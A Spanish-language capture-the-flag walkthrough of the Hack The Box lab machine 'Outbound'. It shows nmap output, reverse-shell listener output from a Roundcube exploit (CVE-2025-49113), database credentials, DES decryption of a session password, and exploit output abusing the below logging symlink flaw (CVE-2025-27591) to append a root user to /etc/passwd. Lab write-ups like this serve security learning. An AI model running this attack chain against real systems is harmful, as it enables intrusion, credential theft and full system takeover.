Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-24 06:33 EDT
Nmap scan report for 10.10.11.77
Host is up (0.031s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.94 seconds
Veremos varios puertos interesantes, entre ellos vemos el puerto 80 que suele alojar una pagina web, pero vemos que nos redirije a un subdominio directamente llamado mail.outbound.htb por lo que vamos añadirlo a nuestro archivo hosts de esta forma:
Lo guardamos y entramos a dicho subdominio para ver que vemos:
Info:
Veremos un login, si leemos la informacion de la maquina de HTB nos deja unas credenciales para el pentesting:
Por lo que vamos a probarlas en dicho login:
Si las probamos veremos que funcionan y estaremos dentro:
Vamos a comprobar si esta version de software es vulnerable, abajo a la izquierda veremos un boton llamado About, si le damos veremos esto:
Vemos que es de la version 1.6.10, ahora si buscamos alguna vulnerabilidad veremos que si existe una con un CVE asociado llamado CVE-2025-49113, en la siguiente pagina de exploit veremos que nos da un PoC el cual utilizaremos de esta forma:
Antes de darle a ejecutar vamos abrir un servidor de python3 para que nos llegue dicha informacion del comando en Base64.
Ahora si ejecutamos el comando de antes y volvemos a donde tenemos el servidor de python3 veremos lo siguiente:
INFO COMANDO CVE
INFO SERVIDOR PYTHON3
Veremos que nos llego bien este Base64, si lo decodificamos veremos lo siguiente:
Info:
Vemos que esta funcionando, por lo que vamos a realizar una reverse shell de esta forma, pero antes nos pondremos a la escucha:
Ahora vamos a ejecutar esto:
Info:
Si volvemos a donde tenemos la escucha veremos lo siguiente:
Vemos que ha funcionado, por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
Escalate user jacob
Si vamos a este directorio:
Veremos varios archivos interesantes, entre ellos uno llamado config.inc.php, que si lo leemos veremos esta linea interesante:
Vemos unas credenciales de mysql, si los probamos con los usuarios a nivel de sistema por SSH no vamos a tener suerte, si nos conectamos por mysql veremos que si nos dejara:
Con esto estaremos dentro de la DDBB, si investigamos un poco encontraremos esta tabla de usuarios con contraseñas de dichos usuarios:
Info:
Ahora listamos las tablas:
Info:
Ahora si listamos la tabla users.
Info:
Si los probamos por SSH a nivel de sistema con todos los usuarios y con todas las contraseñas, veremos que no funciona, por lo que no nos sirve de nada.
Siguiendo investigando en las tablas veremos otra interesante llamada session, si listamos para ver el contenido de dicha tabla veremos esto:
Info:
Vemos que los datos de la sesion esta serializados en Base64, si lo decodificamos de esta forma, veremos esto:
Info:
Vemos que tenemos unas credenciales con una contraseña codificada.
Vemos que esto tiene toda la pinta de una encriptacion DES-ECB, si nosotros investigamos el archivo de antes llamado config.inc.php, veremos esta linea tambien:
De ahi deducimos el tipo de encriptacion, ya que tenemos la clave de desencriptado podremos utilizar CiferChef para poder decodificar todo esto:
Veremos que ha funcionado, con esto obtendremos una clave que sera 595mO8DmwGeD, si la probamos con el usuario jacob a nivel local...
Info:
Veremos que ha funcionado.
Escalate user jacob (SSH)
Si leemos el INBOX del email del propio usuario jacob en esta ruta:
Del archivo llamado jacob, veremos lo siguiente:
Vemos que tenemos una contraseña gY4Wr3a1evp4 la cual podriamos probar por SSH a ver si funcionara de esta forma:
Metemos como contraseña gY4Wr3a1evp4...
Con esto veremos que estaremos dentro, por lo que leeremos la flag del usuario.
user.txt
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar el binario below junto con mas parametros como el usuario root, por lo que vamos a investigar que hacer este binario.
Si buscamos informacion sobre el binario veremos que hay una vulnerabilidad registrada como el CVE-2025-27591, si buscamos el PoC veremos el siguiente repositorio en el que lo ofrece:
Esta vulnerabilidad es una escalación de privilegios local en el servicio Below: el servicio crea/usa un directorio de logs con permisos demasiado abiertos (world-writable), permitiendo a un usuario local usar symlinks para forzar escrituras en archivos sensibles. Con esto podremos sobreescribir el archivo /etc/passwd para añadir un usuario con todos los privilegios y asi ser directamente root y despues lo elimina los archivos.
Vamos a ejecutar la herramienta de esta forma:
Info:
Con esto veremos que ya seremos root, por lo que leeremos la flag de root.
listening on [any] 7777 ...
connect to [10.10.14.98] from (UNKNOWN) [10.10.11.77] 36892
bash: cannot set terminal process group (247): Inappropriate ioctl for device
bash: no job control in this shell
www-data@mail:/$ whoami
whoami
www-data
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
/var/www/html/roundcube/config
................................<RESTO DE CODIGO>..................................
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
................................<RESTO DE CODIGO>..................................
mysql -h localhost -u roundcube -pRCDBPass2025
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| roundcube |
+--------------------+
2 rows in set (0.001 sec)
language|s:5:"en_US";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:"/";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}imap_delimiter|s:1:"/";imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:1;username|s:5:"jacob";storage_host|s:9:"localhost";storage_port|i:143;storage_ssl|b:0;password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";login_time|i:1749397119;timezone|s:13:"Europe/London";STORAGE_SPECIAL-USE|b:1;auth_secret|s:26:"DpYqv6maI9HxDL5GhcCd8JaQQW";request_token|s:32:"TIsOaABA1zHSXZOBpH6up5XFyayNRHaw";task|s:4:"mail";skin_config|a:7:{s:17:"supported_layouts";a:1:{i:0;s:10:"widescreen";}s:22:"jquery_ui_colors_theme";s:9:"bootstrap";s:18:"embed_css_location";s:17:"/styles/embed.css";s:19:"editor_css_location";s:17:"/styles/embed.css";s:17:"dark_mode_support";b:1;s:26:"media_browser_css_location";s:4:"none";s:21:"additional_logo_types";a:3:{i:0;s:4:"dark";i:1;s:5:"small";i:2;s:10:"small-dark";}}imap_host|s:9:"localhost";page|i:1;mbox|s:5:"INBOX";sort_col|s:0:"";sort_order|s:4:"DESC";STORAGE_THREAD|a:3:{i:0;s:10:"REFERENCES";i:1;s:4:"REFS";i:2;s:14:"ORDEREDSUBJECT";}STORAGE_QUOTA|b:0;STORAE_LIST-EXTENDE|b:1;list_attrib|a:6:{s:4:"name";s:8:"messages";s:2:"id";s:11:"messagelist";s:5:"class";s:42:"listing messagelist sortheader fixedheader";s:15:"aria-labelledby";s:22:"aria-label-messagelist";s:9:"data-list";s:12:"message_list";s:14:"data-label-msg";s:18:"The list is empty.";}unseen_count|a:2:{s:5:"INBOX";i:2;s:5:"Trash";i:0;}folders|a:1:{s:5:"INBOX";a:2:{s:3:"cnt";i:2;s:6:"maxuid";i:3;}}list_mod_seq|s2:"10";
User: jacob
Pass: L7Rv00A8TuwJAr67kITxxcSgnIk25Am/
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
su jacob
jacob@mail:/var/www/html/roundcube$ whoami
jacob
/home/jacob/mail/INBOX
From tyler@outbound.htb Sat Jun 07 14:00:58 2025
Return-Path: <tyler@outbound.htb>
X-Original-To: jacob
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1000)
id B32C410248D; Sat, 7 Jun 2025 14:00:58 +0000 (UTC)
To: jacob@outbound.htb
Subject: Important Update
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20250607140058.B32C410248D@outbound.htb>
Date: Sat, 7 Jun 2025 14:00:58 +0000 (UTC)
From: tyler@outbound.htb
X-IMAPbase: 1749304753 0000000002
X-UID: 1
Status:
X-Keywords:
Content-Length: 233
Due to the recent change of policies your password has been changed.
Please use the following credentials to log into your account: gY4Wr3a1evp4
Remember to change your password when you next log into your account.
Thanks!
Tyler
.............................<RESTO DE MENSAJE>....................................
ssh jacob@<IP>
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-63-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Wed Sep 24 12:03:19 PM UTC 2025
System load: 0.0 Processes: 276
Usage of /: 76.4% of 6.73GB Users logged in: 0
Memory usage: 14% IPv4 address for eth0: 10.10.11.77
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Jul 14 16:40:57 2025 from 10.10.14.77
jacob@outbound:~$ whoami
jacob
a76674d223c106062d66aea2d490a238
Matching Defaults entries for jacob on outbound:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jacob may run the following commands on outbound:
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
python3 exploit.py
[*] Checking for CVE-2025-27591 vulnerability...
[+] /var/log/below is world-writable.
[!] /var/log/below/error_root.log is a regular file. Removing it...
[+] Symlink created: /var/log/below/error_root.log -> /etc/passwd
[+] Target is vulnerable.
[*] Starting exploitation...
[+] Wrote malicious passwd line to /tmp/attacker
[+] Symlink set: /var/log/below/error_root.log -> /etc/passwd
[*] Executing 'below record' as root to trigger logging...
Sep 24 12:37:17.380 DEBG Starting up!
Sep 24 12:37:17.381 ERRO
----------------- Detected unclean exit ---------------------
Error Message: Failed to acquire file lock on index file: /var/log/below/store/index_01758672000: EAGAIN: Try again
-------------------------------------------------------------
[+] 'below record' executed.
[*] Appending payload into /etc/passwd via symlink...
[+] Payload appended successfully.
[*] Attempting to switch to root shell via 'su attacker'...
root@outbound:/tmp# whoami
root